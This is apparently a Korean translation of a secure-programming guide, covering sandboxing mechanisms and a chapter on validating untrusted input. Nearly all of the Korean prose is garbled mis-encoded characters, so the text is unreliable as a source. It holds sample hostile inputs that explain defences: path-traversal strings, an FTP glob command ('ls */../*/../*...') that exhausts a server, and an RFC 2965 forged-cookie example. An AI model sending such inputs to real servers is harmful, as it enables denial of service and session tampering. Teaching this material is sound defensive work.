°®´Â´Ù. FreeBSD °¡ óÀ½ ¼³Ä¡µÇ¾î ºÎÆÃµÉ ¶§ ¾î¶°ÇÑ ÇÁ·Î¼¼½ºµµ jail ³»¿¡´Â Á¸ÀçÇÏÁö ¾ÊÀ» °ÍÀÌ´Ù. ÇÁ·Î¼¼½º°¡ jail ³»¿¡ ³õÀÏ ¶§ ±× ÇÁ·Î¼¼½º ¹× ¸ðµç ÀÚ¼Õ ÇÁ·Î¼¼½º´Â ±× jail ³»¿¡ Á¸ÀçÇÒ °ÍÀÌ´Ù. ÀÏ´Ü jail ³»¿¡ ÀÖ´Ù¸é ÆÄÀÏ ³×ÀÓ-°ø°£Àº chroot(2) (ÀϹÝÀûÀÎ chroot À̽ºÄÉÀÌÇÁ ·çÆ® (route) ´Â ºí·°µÇ¾î ÀÖ´Ù) ¸¦ ÅëÇØ¼­¸¸ Á¢±ÙÇÒ ¼ö ÀÖÀ¸¸ç ³×Æ®¿öÅ© ÀÚ¿øÀº ƯÁ¤ IP ÁÖ¼ÒÀÇ °æ¿ì¸¸ ¹ÙÀεùÇÒ ¼ö ÀÖ´Ù. ¶ÇÇÑ ½Ã½ºÅÛ ÀÚ¿ø Á¶ÀÛ ¹× Ư±ÇÀ» °®´Â ¿¬»êÀ» ¼öÇàÇÒ ¼ö ÀÖ´Â ´É·ÂÀº °©ÀÚ±â Ãà¼ÒµÇ¸ç ´Ù¸¥ ÇÁ·Î¼¼½º¿Í »óÈ£ÀÛ¿ëÇÒ ¼ö ÀÖ´Â ´É·Âµµ µ¿ÀÏ jail ³»ÀÇ ÇÁ·Î¼¼½º·Î¸¸ Á¦ÇѵȴÙ. °¢ jail Àº ÇϳªÀÇ IP ÁÖ¼Ò¿¡ ¹Ù¿îµåµÇ¾î ÀÖÀ½À» ÁÖ¸ñÇØ¶ó; jail ³»ÀÇ ÇÁ·Î¼¼½º´Â ³ª°¡°Å³ª µé¾î¿À´Â Á¢¼Ó¿¡ ´ëÇØ ´Ù¸¥ ¸ðµç IP ÁÖ¼Ò¸¦ »ç¿ëÇÒ ¼ö ¾øÀ» °ÍÀÌ´Ù.

POSIX ´É·Â°ú Ưº°ÇÑ ¸¶¿îÆ®-time ¿É¼Ç°ú °°ÀÌ ¸®´ª½º¿¡¼­ »ç¿ëÇÒ ¼ö ÀÖ´Â ¾à°£ÀÇ È®ÀåÀº ÀÌ¹Ì ³íÀǵǾúÀ¸¸ç ¸®´ª½º ½Ã½ºÅÛ¿¡ ´ëÇØ Á¦ÇÑµÈ ½ÇÇà ȯ°æÀ» »ý¼ºÇϱâ À§ÇØ ¾à°£ÀÇ ³ë·ÂÀÌ ÀÖ¾î ¿Ô´Ù; ¸¹Àº ´Ù¸¥ Á¢±Ù ¹æ¹ýÀÌ ÀÖ´Ù. ¹Ì±¹ÀÇ National Security Agency (NSA) ´Â Àü¹®È­µÈ ¾ð¾î·Î º¸¾È Á¤Ã¥ÀÇ Á¤ÀǸ¦ Áö¿øÇϰí ÀÌ Á¤Ã¥À» Àû¿ëÇÏ´Â Security-Enhanced Linux (Flask) ¸¦ °³¹ßÇß´Ù. Medusa DS9 Àº Ä¿³Î ¼öÁØ¿¡¼­ »ç¿ëÀÚ °ø°£ Àΰ¡ ¼­¹ö¸¦ Áö¿øÇÔÀ¸·Î½á ¸®´ª½º¸¦ È®ÀåÇÑ´Ù. LIDS ´Â °ü¸®ÀÚ·Î ÇÏ¿©±Ý ½Ã½ºÅÛÀ» ·ÎÅ© ´Ù¿î (lock down) ÇÒ ¼ö ÀÖ°Ô ÇÔÀ¸·Î½á ÆÄÀϰú ÇÁ·Î¼¼½º¸¦ º¸È£ÇÑ´Ù. ``Rule Set Based Access Control" ½Ã½ºÅÛ RSBAC ´Â Abrams ¿Í Lapadula ¿¡ ÀÇÇÑ Generalized Framework for Access Control (GFAC) ¿¡ ±âÃÊÇϴµ¥ ¸î¸î Ä¿³Î ¸ðµâ¿¡ ±âÃÊÇØ Á¢±Ù Á¦¾î¸¦ ÇÒ ¼ö ÀÖ´Â À¯¿¬ÇÑ ½Ã½ºÅÛÀ» Á¦°øÇÑ´Ù. Subterfugue ´Â ``observing and playing with the reality of software" ÀÇ »À´ë·Î ½Ã½ºÅÛ È£ÃâÀ» °¡·Îä ±× ¸Å°³º¯¼ö¿Í/¶Ç´Â ¹Ýȯ°ªÀ» º¯°æÇØ sandbox, ÃßÀû±â µîÀ» ±¸ÇöÇÒ ¼ö ÀÖ´Ù; ÀÌ´Â º¯°æ¾øÀÌ (¾î¶°ÇÑ Ä¿³Î ¼öÁ¤µµ ÇÊ¿äÇÏÁö ¾Ê´Ù) ¸®´ª½º 2.4 ÇÏ¿¡¼­ ÀÛµ¿ÇÑ´Ù. Janus ´Â Á¦ÇÑµÈ ½ÇÇà ȯ°æ³»¿¡¼­ ½Å·ÚµÇÁö ¾ÊÀº ¾ÖÇø®ÄÉÀ̼ÇÀ» sandboxing Çϱâ À§ÇÑ º¸¾È µµ±¸ÀÌ´Ù. ¾î¶² »ç¶÷Àº sandbox ±¸ÇöÀ¸·Î "Linux on Linux" À» ±¸ÇöÇÑ User-mode Linux µµ »ç¿ëÇß´Ù. ´õ¿í º¹ÀâÇÑ º¸¾È ¸ðµ¨À» ±¸ÇöÇϱâ À§ÇÑ ¸¹Àº ´Ù¸¥ Á¢±Ù ¹æ¹ýÀÌ Àֱ⠶§¹®¿¡ Linus Torvals ´Â »óÀÌÇÑ º¸¾È Á¤Ã¥ÀÌ »ðÀ﵃ ¼ö ÀÖµµ·Ï ÀϹÝÀûÀÎ Á¢±Ù ¹æ¹ýÀÌ °³¹ßµÇ¾î¾ß ÇÑ´Ù°í ¿äûÇß´Ù; ÀÌ¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â http://mail.wirex.com/mailman/listinfo/linux-security-module ¸¦ º¸¶ó.

´Ù¾çÇÑ À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡¼­ º¸¾È¿¡ ´ëÇØ ¸¹Àº ´Ù¸¥ È®ÀåµéÀÌ ÀÖÁö¸¸ ÀÌ´Â ½ÇÁ¦·Î ÀÌ ¹®¼­°¡ ´Ù·ç´Â ¹üÀ§¸¦ ³Ñ¾î¼±´Ù.


4장. ¸ðµç ÀÔ·ÂÀ» È®ÀÎÇØ¶ó

 

Wisdom will save you from the ways of wicked men, from men whose words are perverse...

 Proverbs 2:12 (NIV)

¾î¶² ÀÔ·ÂÀº ½Å·ÚÇÒ ¼ö ¾ø´Â »ç¿ëÀڷκÎÅÍ ¿Ã ¼ö Àִµ¥ ÀÌ·± ÀԷµéÀº »ç¿ëÇϱâ Àü¿¡ ±× Á¤´ç¼ºÀ» ÀÔÁõÇϰųª ÇÊÅ͸µµÇ¾î¾ß ÇÑ´Ù. ¹«¾ùÀÌ ÇÕ¹ýÀûÀÎ °ÍÀΰ¡¸¦ °áÁ¤Çؼ­ ±× Á¤ÀÇ¿Í ÀÏÄ¡ÇÏ´Â ¾Ê´Â ¸ðµç °ÍÀ» °ÅÀýÇØ¾ß ÇÑ´Ù. ¹«¾ùÀÌ ºñÇÕ¹ýÀûÀÎ °ÍÀΰ¡¸¦ ½Äº°Çؼ­ ±×·¯ÇÑ °æ¿ì¸¦ °ÅÀýÇÏ´Â Äڵ带 ÀÛ¼ºÇÏ´Â °Í°ú °°Àº ¹Ý´ëÀÇ °æ¿ì´Â ÇÏÁö¸¶¶ó. ºñÇÕ¹ýÀûÀÎ ÀÔ·ÂÀÇ Áß¿äÇÑ ½Ç·Ê¸¦ ´Ù·ç´Â °ÍÀ» ÀØÀ» ¼ö Àֱ⠶§¹®ÀÌ´Ù.

±×·¸Áö¸¸ ºñÇÕ¹ýÀûÀÎ °ªÀ» ½Äº°ÇØ¾ß ÇÏ´Â ÁÁÀº ÀÌÀ¯°¡ Àִµ¥ ÀÌ´Â ¹Ýµå½Ã È®ÀÎ (validation) Äڵ带 öµÎö¹ÌÇÏ°Ô ÀÛ¼ºÇϱâ À§ÇÑ ÀÏ·ÃÀÇ Å×½ºÆ® (º¸Åë ¸Ó¸®¼Ó¿¡¼­ ½ÇÇàµÇ´Â) ¿Í °°´Ù. ÀúÀÚ´Â ÀÔ·Â ÇÊÅ͸¦ ¼³Á¤ÇÒ ¶§ ÇÊÅ͸µµÇÁö ¾ÊÀ» ¼ö ÀÖ´Â ºñÇÕ¹ýÀûÀÎ °ªÀÌ ÀÖ´ÂÁö º¸±â À§ÇØ ¸¶À½¼ÓÀ¸·Î ÇÊÅ͸¦ °ø°ÝÇÑ´Ù. ´ÙÀ½Àº ÀԷ¿¡ µû¶ó ÀÔ·Â ÇÊÅͰ¡ ¿¹¹æÇÒ Çʿ䰡 ÀÖ´Â °øÅëµÈ ºñÇÕ¹ýÀûÀÎ °ªµéÀÇ ¿¹ÀÌ´Ù: ºó ¹®ÀÚ¿­, ".", "..", "../", "/" ¶Ç´Â "." ·Î ½ÃÀÛÇÏ´Â ¸ðµç °Í, ¾È¿¡ "/" ¶Ç´Â "&" °¡ ÀÖ´Â ¸ðµç °Í, ¸ðµç Á¦¾î ¹®ÀÚ (ƯÈ÷ NIL °ú °³Çà) ¿Í/¶Ç´Â "high bit" ÀÌ ¼³Á¤µÇ¾î ÀÖ´Â ¸ðµç ¹®ÀÚ (ƯÈ÷ ½ÊÁø¼ö 254 ¿Í 255 °ª). ´Ù½Ã Çѹø ÀÛ¼ºÇÑ ÄÚµå´Â "bad" °ª¿¡ ´ëÇØ °Ë»çµÇÁö ¾Ê¾Æ¾ß ÇÑ´Ù: ¹Ýµå½Ã ÆÐÅÏÀÌ ÀÔ·Â °ªÀ» ÇÕ¹ýÀûÀÎ °ªÀ¸·Î ¾ö°ÝÈ÷ Á¦ÇÑÇϵµ·Ï À̸¦ ¸¶À½¼ÓÀ¸·Î °Ë»çÇØ¾ß ÇÑ´Ù. ÆÐÅÏÀÌ ÃæºÐÈ÷ ¾ö¹ÐÇÏÁö ¾Ê´Ù¸é ´Ù¸¥ ¹®Á¦°¡ ÀÖ´Â Áö¸¦ »ìÆì º¸±â À§ÇØ ÆÐÅÏÀ» ÁÖÀDZí°Ô ÀçÁ¶»çÇØ¾ß ÇÑ´Ù.

ÃÖ´ë ¹®ÀÚ ±æÀÌ (ÀûÀýÇÏ´Ù¸é ÃÖ¼Ò ±æÀÌ) ¸¦ Á¦ÇÑÇÏ°í ±×·¯ÇÑ ±æÀ̰¡ ÃʰúµÉ ¶§ ¹Ýµå½Ã Á¦¾î°¡ µÇµµ·Ï ÇØ¶ó (¹öÆÛ ¿À¹öÇ÷ο쿡 ´ëÇÑ ´õ¿í ¸¹Àº Á¤º¸´Â 5장 À» º¸¶ó).

´ÙÀ½Àº ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀڷκÎÅÍ ¿Â °Íµé »ç¿ëÇϱâ Àü¿¡ È®ÀÎÇØ¾ß ÇÏ´Â ¾à°£ÀÇ °øÅëÀûÀÎ µ¥ÀÌŸ ŸÀÔ°ú ÀԷµéÀÌ´Ù:

  • ¹®ÀÚ¿­¿¡ ´ëÇØ¼­´Â ÇÕ¹ýÀû ¹®ÀÚ ¶Ç´Â ÇÕ¹ýÀû ÆÐÅÏ (¿¹, Á¤±Ô Ç¥Çö) À» ½Äº°Çؼ­ ±× ÇüÅÂ¿Í ÀÏÄ¡ÇÏÁö ¾Ê´Â ¸ðµç °ÍÀ» °ÅÀýÇØ¶ó. ¹®ÀÚ¿­ÀÌ Á¦¾î ¹®ÀÚ (ƯÈ÷ °³Çà ¶Ç´Â NIL) ¶Ç´Â ½© ¸ÞŸ¹®ÀÚ¸¦ Æ÷ÇÔÇÒ ¶§´Â Ưº°ÇÑ ¹®Á¦°¡ ÀÖ´Ù; ´ë°³ ÀÔ·ÂÀ» ¹ÞÀÚ¸¶ÀÚ ±×·¯ÇÑ ¸ÞŸ¹®ÀÚ°¡ ¶æÇÏÁö ¾Ê°Ô º¸³»ÁöÁö ¾Êµµ·Ï ±×·¯ÇÑ ¸ÞŸ¹®ÀÚ¸¦ À̽ºÄÉÀÌÇÁ ( escape, ÀÇ¹Ì ÇØÁ¦) ÇÏ´Â °ÍÀÌ ÃÖ¼±ÀÌ´Ù. CERT ´Â ´õ ³ª¾Æ°¡¼­ À̽ºÄÉÀÌÇÁ¸¦ ÇÊ¿ä·Î ÇÏÁö ¾Ê´Â ¹®ÀÚ ¸ñ·Ï¿¡ ¾ø´Â ¸ðµç ¹®ÀÚ¸¦ À̽ºÄÉÀÌÇÁÇ϶ó°í ÃßõÇÑ´Ù [CERT 1998, CMU 1998]. È£Ãâ (call out) Á¦ÇÑ¿¡ ´ëÇØ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 7.2절 À» º¸¶ó.

  • ¸ðµç ¼ýÀÚ¸¦ ÃÖ¼Ò (´ë°³ 0) ¿Í ÃÖ´ë Çã¿ë °ªÀ¸·Î Á¦ÇÑÇØ¶ó.

  • ¿ÏÀüÇÑ À̸ÞÀÏ ÁÖ¼Ò °Ë»ç±â´Â ½ÇÁ¦ ¸Å¿ì º¹ÀâÇÏ´Ù. ÀÌ´Â ¸ðµç Æ÷¸ËÀ» Áö¿øÇÏ·Á´Â °æ¿ì È®ÀÎÀ» ¸Å¿ì º¹ÀâÇÏ°Ô ÇÏ´Â ·¹°Å½Ã Æ÷¸ËµéÀÌ Àֱ⠶§¹®ÀÌ´Ù; ÀÌ·¯ÇÑ °Ë»ç°¡ ÇÊ¿äÇÏ´Ù¸é ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â mailaddr(7) °ú IETF RFC 822 [RFC 822] ¸¦ º¸¶ó. ´ë°³ °£´ÜÇÏ°Ô ÇÒ ¼ö Àִµ¥ ´ÜÁö ``°øÅëÀûÀÎ" ÀÎÅÍ³Ý ÁÖ¼Ò Æ÷¸Ë¸¸À» Çã¿ëÇØ¶ó.

  • ÆÄÀÏ À̸§µµ È®ÀÎÇØ¾ß Çϴµ¥ º¸Åë ".." (»óÀ§ µð·ºÅ丮¸¦ ÀǹÌÇÑ´Ù) ¸¦ ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀڷκÎÅÍÀÇ ÇÕ¹ýÀûÀÎ °ªÀ¸·Î Æ÷ÇÔÇÏ±æ ¿øÇÏÁö ¾ÊÀ» °ÍÀÌ´Ù. ¹°·Ð »óȲ¿¡ µû¶ó º¯ÇÒ ¼ö ÀÖ´Ù. ƯÈ÷ ¹®Á¦¸¦ ¾ß±âÇÒ ¼ö ÀÖ´Â °³Çà ¹®ÀÚ¸¦ ºü¶ß¸®¸é¼­ Çã¿ëÇÒ ¹®Àڵ鸸À» ¸®½ºÆ®ÇÏ±æ ¿øÇÒ ¼öµµ ÀÖ´Ù. ÆÄÀÏ À̸§¿¡¼­ ¿¹¸¦ µé¾î ÀÏ·ÃÀÇ ÇÕ¹ýÀûÀÎ ¹®ÀÚ ÁýÇÕ¿¡ "/" ¸¦ Æ÷ÇÔÇÏÁö ¾ÊÀ½À¸·Î½á µð·ºÅ丮³»ÀÇ ¸ðµç º¯°æÀ» ±ÝÁöÇÏ´Â °ÍÀÌ ÃÖ¼±ÀÌ´Ù. ´ë°³ ``*", ``?", ``[" (matching ``]") °ú ``{" (matching ``}") µéÀ» »ç¿ëÇÏ¿© ÆÄÀÏ À̸§À» Àü°³ÇÏ´Â ``globbing" À» Áö¿øÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù. ¿¹¸¦ µé¾î ``ls *.png" ¸í·ÉÀº ¸ðµç PNG ÆÄÀϵéÀ» ¿­°ÅÇϵµ·Ï ``*.png" ¸¦ globbing ÇÑ´Ù. C ÀÇ fopen(3) ¸í·ÉÀº globbing ÇÏÁö ¾ÊÁö¸¸ ÀϹÝÀûÀÎ ½©Àº µðÆúÆ®·Î globbing À» ¼öÇàÇϸç C ¿¡¼­´Â glob(3) À» »ç¿ëÇØ globbing À» ¿äûÇÒ ¼ö ÀÖ´Ù. Globbing À» ÇÊ¿ä·Î ÇÏÁö ¾Ê´Â´Ù¸é °¡´ÉÇÑ globbing ÇÏÁö ¾Ê´Â È£Ãâ (¿¹, fopen(3)) ¸¸À» »ç¿ëÇϰųª À̸¦ ±ÝÁö (¿¹, ½©¿¡¼­ globbing ¹®ÀÚµéÀ» À̽ºÄÉÀÌÇÁÇØ¶ó) ÇØ¶ó. Globbing À» Çã¿ëÇÑ´Ù¸é Æ¯º°È÷ ÁÖÀÇÇØ¶ó. Globbing ÀÌ À¯¿ëÇÒ ¼ö ÀÖÁö¸¸ º¹ÀâÇÑ glob ´Â ¸Å¿ì ¸¹Àº °è»ê ½Ã°£ÀÌ °É¸± ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î ¾î¶² ftp ¼­¹ö¿¡¼­ ÀÌ·¯ÇÑ ¸î°³ÀÇ ¿äûÀ» ½ÇÇà½ÃÅ´À¸·Î½á ½±°Ô Àüü ¸Ó½Å¿¡ ´ëÇØ ¼­ºñ½º ºÎÀÎÀ» ¾ß±âÇÒ ¼ö ÀÖ´Ù.

    ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*

    Globbing ÆÐÅÏÀ» Á¦ÇÑÇϸ鼭 globbing À» Çã¿ëÇÏ·Á´Â °ÍÀº ¾Æ¸¶µµ Çã»çÀÏ °ÍÀÌ´Ù. ´ë½Å ¹Ýµå½Ã ±×·¯ÇÑ ¸ðµç ÇÁ·Î±×·¥µéÀ» º°°³ ÇÁ·Î¼¼½º·Î ½ÇÇà½Ã۰í À̵éÀÌ ¼ÒºñÇÒ ¼ö ÀÖ´Â CPU ¿Í ´Ù¸¥ ÀÚ¿øµéÀÇ ¾çÀ» Á¦ÇÑÇÏ´Â ÇÁ·Î¼¼½º ÇѰ踦 »ç¿ëÇØ¶ó. ÀÌ¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 6.3.8절 ¸¦ º¸°í ÀÌ·¯ÇÑ ÇÑ°è ¼³Á¤ ¹æ¹ý¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 3.6절 ¸¦ º¸¶ó.

  • URL À» Æ÷ÇÔÇÏ¿© URI ´Â ±× Ÿ´ç¼ºÀ» °Ë»çÇØ¾ß ÇÑ´Ù. À¥ ¼­¹ö ¶Ç´Â À¥ ¼­¹ö¿Í °°Àº ÇÁ·Î±×·¥À» ±¸ÇöÇϰí ÀÖ°í URL ÀÌ µ¥ÀÌŸ¿¡ ´ëÇÑ ¿äûÀÎ °æ¿ì¿Í °°ÀÌ Á÷Á¢ÀûÀ¸·Î URI ¿¡ µû¶ó ÇൿÇÑ´Ù¸é URI °¡ ÇÕ¹ýÀûÀÎÁö ¹Ýµå½Ã È®ÀÎÇÏ°í ¹®¼­ ·çÆ® (¼­¹ö°¡ ÀÀ´äÇϰí ÀÖ´Â ÆÄÀÏ ½Ã½ºÅÛÀÇ ¿µ¿ª) ¸¦ ``À̽ºÄÉÀÌÇÁ" ÇÏ·Á°í ÇÏ´Â URI ¿¡ ƯÈ÷ ÁÖÀÇÇØ¶ó. ¹®¼­ ·çÆ®¸¦ À̽ºÄÉÀÌÇÁÇÏ´Â °¡Àå ÀϹÝÀûÀÎ ¹æ¹ýÀº ``.." ¶Ç´Â ½Éº¼¸¯ ¸µÅ©¸¦ ÅëÇÏ´Â °ÍÀε¥ µû¶ó¼­ ´ëºÎºÐÀÇ ¼­¹ö´Â ¸ðµç ``.." µð·ºÅ丮 ÀÚü¸¦ °Ë»çÇϰųª Ưº°È÷ °ü¸®µÇÁö ¾Ê´À´Ù¸é ½Éº¼¸¯ ¸µÅ©¸¦ ¹«½ÃÇÑ´Ù. ¶ÇÇÑ URL ÀÎÄÚµù ¶Ç´Â UTF-8 ÀÎÄÚµùÀ» ÅëÇØ ¸ðµç ÀÎÄÚµù ¿ì¼± µðÄÚµùÇÏ´Â °ÍÀ» ±â¾ïÇØ¶ó. ±×·¸Áö ¾ÊÀ¸¸é ÀÎÄÚµåµÈ ``.." ÀÌ ½½Â½ ºüÁ®³ª°¥ ¼ö ÀÖ´Ù. URI ´Â UTF-8 ÀÎÄÚµùÀ» Æ÷ÇÔÇÏÁö ¾Êµµ·Ï ¿ä±¸µÇ°í Àִµ¥ µû¶ó¼­ °¡Àå ¾ÈÀüÇÑ °ÍÀº high bit ÀÌ ¼³Á¤µÇ¾î ÀÖ´Â ¹®ÀÚµéÀ» Æ÷ÇÔÇÏ´Â ¸ðµç URI ¸¦ °ÅÀýÇÏ´Â °ÍÀÌ´Ù.

    URI/URL À» µ¥ÀÌŸ·Î »ç¿ëÇÏ´Â ½Ã½ºÅÛÀ» ±¸ÇöÇϰí ÀÖ´Ù¸é ÀüÇô ¼º°øÇÏÁö ¸øÇÑ´Ù. ¾ÇÀÇÀÖ´Â »ç¿ëÀÚ°¡ ´Ù¸¥ »ç¿ëÀڵ鿡°Ô ÇÇÇØ¸¦ ÀÔÈú ¼ö ÀÖ´Â URI ¸¦ »ðÀÔÇÒ ¼ö ¾øµµ·Ï º¸ÀåÇÒ Çʿ䰡 ÀÖ´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 4.10.4절 ¸¦ º¸¶ó.

  • Äí۰ªÀ» ¹Þ¾ÆµéÀÏ ¶§ »ç¿ëÇϰí ÀÖ´Â ¸ðµç ÄíŰ¿¡ ´ëÇÑ µµ¸ÞÀÎ °ªÀÌ ¿¹»óµÈ °ªÀÎÁö¸¦ ¹Ýµå½Ã È®ÀÎÇØ¶ó. ±×·¸Áö ¾ÊÀ¸¸é °ü·ÃµÈ »çÀÌÆ® (¾Æ¸¶µµ ÆÄ±«µÈ »çÀÌÆ®) °¡ º¯Á¶µÈ Äí۸¦ »ðÀÔÇÒ ¼öµµ ÀÖ´Ù. ´ÙÀ½Àº ÀÌ·¯ÇÑ °Ë»ç¸¦ ÇÏÁö ¾Ê´Â °ÍÀÌ ¾î¶»°Ô ¹®Á¦¸¦ ¾ß±âÇÒ ¼ö Àִ°¡¿¡ ´ëÇÑ IETF RFC 2965 ·ÎºÎÅÍÀÇ ¿¹ÀÌ´Ù:

    • »ç¿ëÀÚ ¿¡ÀÌÀüÆ®°¡ victim.cracker.edu ¿¡ ¿äûÀ» Çϰí ÄíŰ session_id 1234 ¸¦ °¡Á®¿Â ÈÄ µðÆúÆ® µµ¸ÞÀÎÀ» victim.cracker.edu ·Î ¼³Á¤ÇÑ´Ù.

    • »ç¿ëÀÚ ¿¡ÀÌÀüÆ®°¡ spoof.cracker.edu ¿¡ ¿äûÀ» ÇÏ°í µµ¸ÞÀÎÀÌ ".cracker.edu" ·Î ¼³Á¤µÇ¾î ÀÖ´Â ÄíŰ session_id 1111 À» °¡Á®¿Â´Ù.

    • »ç¿ëÀÚ ¿¡ÀÌÀüÆ®°¡ victim.cracker.edu ¿¡ ´Ù½Ã ¿äûÀ» ÇÏ°í ´ÙÀ½À» °Ç³×ÁØ´Ù:

               Cookie: $Version="1"; session_id="1234",
                       $Version="1"; session_id="1111"; $Domain=".cracker.edu"

      victim.cracker.edu ÀÇ ¼­¹ö´Â µµ¸ÞÀÎ ¼Ó¼ºÀÌ ÀÚ½ÅÀÇ µµ¸ÞÀÎ ¼Ó¼ºÀÌ ¾Æ´ÔÀ» ¾Ë¾ÆÂ÷¸²À¸·Î½á µÎ¹øÂ° Äí۰¡ ÀÚ½ÅÀÌ »ý¼ºÇß´ø °ÍÀÌ ¾Æ´ÔÀ» ŽÁöÇØ À̸¦ ¹«½ÃÇØ¾ß ÇÑ´Ù.

À§¿¡ ¾ð±ÞÇÑ »çÇ×À» °í·ÁÇÏÁö ¾Ê´Â´Ù¸é ÇÕ¹ýÀû ¹®ÀÚ ÆÐÅÏ¿¡ ÇÁ·Î±×·¥ ³»ºÎ ¶Ç´Â °á°ú·Î½á »ý±â´Â Ãâ·Â¿¡ ´ëÇØ Ưº°ÇÑ Àǹ̸¦ °®´Â ¹®ÀÚµé ¶Ç´Â ÀÏ·ÃÀÇ ¹®ÀÚµéÀ» Æ÷ÇÔÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù:

  • ¹®ÀÚ ½ÃÄö½º (sequence) ´Â ÇÁ·Î±×·¥ ³»ºÎ ½ºÅ丮Áö Æ÷¸Ë¿¡ ´ëÇØ Ưº°ÇÑ Àǹ̸¦ °¡Áú ¼öµµ ÀÖ´Ù. ¿¹¸¦ µé¾î ¹üÀ§¸¦ °®´Â ¹®ÀÚ¿­ (delimited strings) ¿¡ µ¥ÀÌŸ¸¦ (³»ºÎÀû ¶Ç´Â ¿ÜºÎÀûÀ¸·Î) ÀúÀåÇÏ·Á¸é ºÐ¸®ÀÚ (delimiter) °¡ Çã¿ëµÈ µ¥ÀÌŸ °ªÀÌ ¾Æ´ÔÀ» È®ÀÎÇØ¶ó. ¸¹Àº ÇÁ·Î±×·¥Àº ÄÞ¸¶ (,) ¶Ç´Â ÄÝ·Ð (:) À¸·Î ºÐ¸®µÈ ÅØ½ºÆ® ÆÄÀÏ¿¡ µ¥ÀÌŸ¸¦ ÀúÀåÇϴµ¥ ÀԷ¿¡ ºÐ¸®ÀÚ¸¦ ½á³ÖÀ» ¶§ ÇÁ·Î±×·¥ÀÌ À̸¦ °í·ÁÇÏÁö ¾Ê´Â´Ù¸é (Áï, ºÐ¸®ÀÚ¸¦ ½á³Ö´Â °ÍÀ» Çã¿ëÇÏÁö ¾Ê°Å³ª ¸î¸î ¹æ½ÄÀ¸·Î À̸¦ ÀÎÄÚµåÇÔÀ¸·Î½á) ¹®Á¦°¡ »ý±æ ¼ö ÀÖ´Ù. ¹®ÀÚ¿­À» µÑ·¯½Î´Âµ¥ »ç¿ëµÇ´Â ´Üµ¶ ¹× ÀÌÁß ÀοëºÎÈ£¿Í SGML, XML °ú HTML ¿¡¼­ ÅÂ±× ½ÃÀÛÀ» ³ªÅ¸³»´Â "<" (less-than) µéÀº Á¾Á¾ ÀÌ·± ¹®Á¦¸¦ ÀÏÀ¸Å°´Â ¹®ÀÚµéÀÌ´Ù (ÀÌ Æ÷¸ËÀ¸·Î µ¥ÀÌŸ¸¦ ÀúÀåÇÏ´Â °æ¿ì ÀÌ´Â Áß¿äÇÏ´Ù). ´ëºÎºÐÀÇ µ¥ÀÌŸ Æ÷¸ËÀº ÀÌ·± °æ¿ì¸¦ ´Ù·ç±â À§ÇØ À̽ºÄÉÀÌÇÁ ½ÃÄö½º¸¦ °®°í ÀÖ´Ù; À̸¦ »ç¿ëÇϰųª ÀԷ½à ÀÌ·± µ¥ÀÌŸ¸¦ ÇÊÅ͸µÇضó.

  • ¹®ÀÚ ½ÃÄö½º°¡ »ç¿ëÀÚ¿¡°Ô µÇµ¹·ÁÁö´Â °æ¿ì À̴ Ưº°ÇÑ Àǹ̸¦ °¡Áú ¼ö ÀÖ´Ù. ÀϹÝÀûÀÎ ¿¹´Â ÃßÈÄ ´Ù¸¥ ±¸µ¶ÀÚ¿¡°Ô °Ô½ÃµÉ ¼ö ÀÖ´Â µ¥ÀÌŸ ÀԷ¿¡ HTML ű׸¦ Çã¿ëÇÏ´Â °æ¿ìÀÌ´Ù (¿¹, °Ô½ºÆ®ºÏ ¶Ç´Â ``µ¶ÀÚ ÁÖÇØ" ¿µ¿ª). ±×·¯³ª ÀÌ·¯ÇÑ ¹®Á¦´Â ´õ¿í ÀϹÝÀûÀ̸ç ÀÌ ÁÖÁ¦¿¡ ´ëÇÑ ÀϹÝÀûÀÎ ³íÀÇ¿Í HTML ÇÊÅ͸µ¿¡ ´ëÇÑ Æ¯Á¤ÇÑ ³íÀǸ¦ º¸±â À§Çؼ­´Â °¢°¢ 6.13절 °ú 4.10절 À» º¸¶ó.

ÀÌ·¯ÇÑ Å×½ºÆ®´Â ÃßÈÄ ¼öÁ¤À» À§ÇØ Å¸´ç¼º Å×½ºÆ®¸¦ ½±°Ô »ìÆìº¼ ¼ö ÀÖµµ·Ï ÇÑ °÷¿¡ ÁýÁߵǾî ÀÖ¾î¾ß ÇÑ´Ù.

Ÿ´ç¼º Å×½ºÆ®°¡ ½ÇÁ¦·Î Á¤È®ÇÔÀ» È®ÀÎÇØ¶ó; ÀÌ´Â ´Ù¸¥ ÇÁ·Î±×·¥ÀÌ »ç¿ëÇÒ ÀÔ·Â (ÆÄÀÏ À̸§, À̸ÞÀÏ ÁÖ¼Ò ¶Ç´Â URL µî) À» °Ë»çÇÒ ¶§ ƯÈ÷ ¹®Á¦°¡ µÈ´Ù. ´ë°³ ÀÌ·¯ÇÑ Å×½ºÆ®´Â °Ë»ç ÇÁ·Î±×·¥°ú ½ÇÁ¦ µ¥ÀÌŸ¸¦ »ç¿ëÇÏ´Â ÇÁ·Î±×·¥ÀÌ ´Ù¸¥ °¡Á¤À» ÇÏ´Â °æ¿ì ¹Ì¹¦ÇÑ ¿¡·¯¸¦ °®´Âµ¥ ¼ÒÀ§ "´ë¸® (deputy) ¹®Á¦" ¸¦ ¾ß±âÇÑ´Ù. °ü·ÃµÈ Ç¥ÁØÀÌ ÀÖ´Ù¸é À̸¦ »ìÆìº¸°í ¶ÇÇÑ ÇÁ·Î±×·¥ÀÌ °¢ÀÚ°¡ ¾Ë¾Æ¾ß Çʿ䰡 ÀÖ´Â È®ÀåÀ» °¡Áö°í ÀÖ´ÂÁö »ìÆìº¸±â À§ÇØ °Ë»öÇØ¶ó.

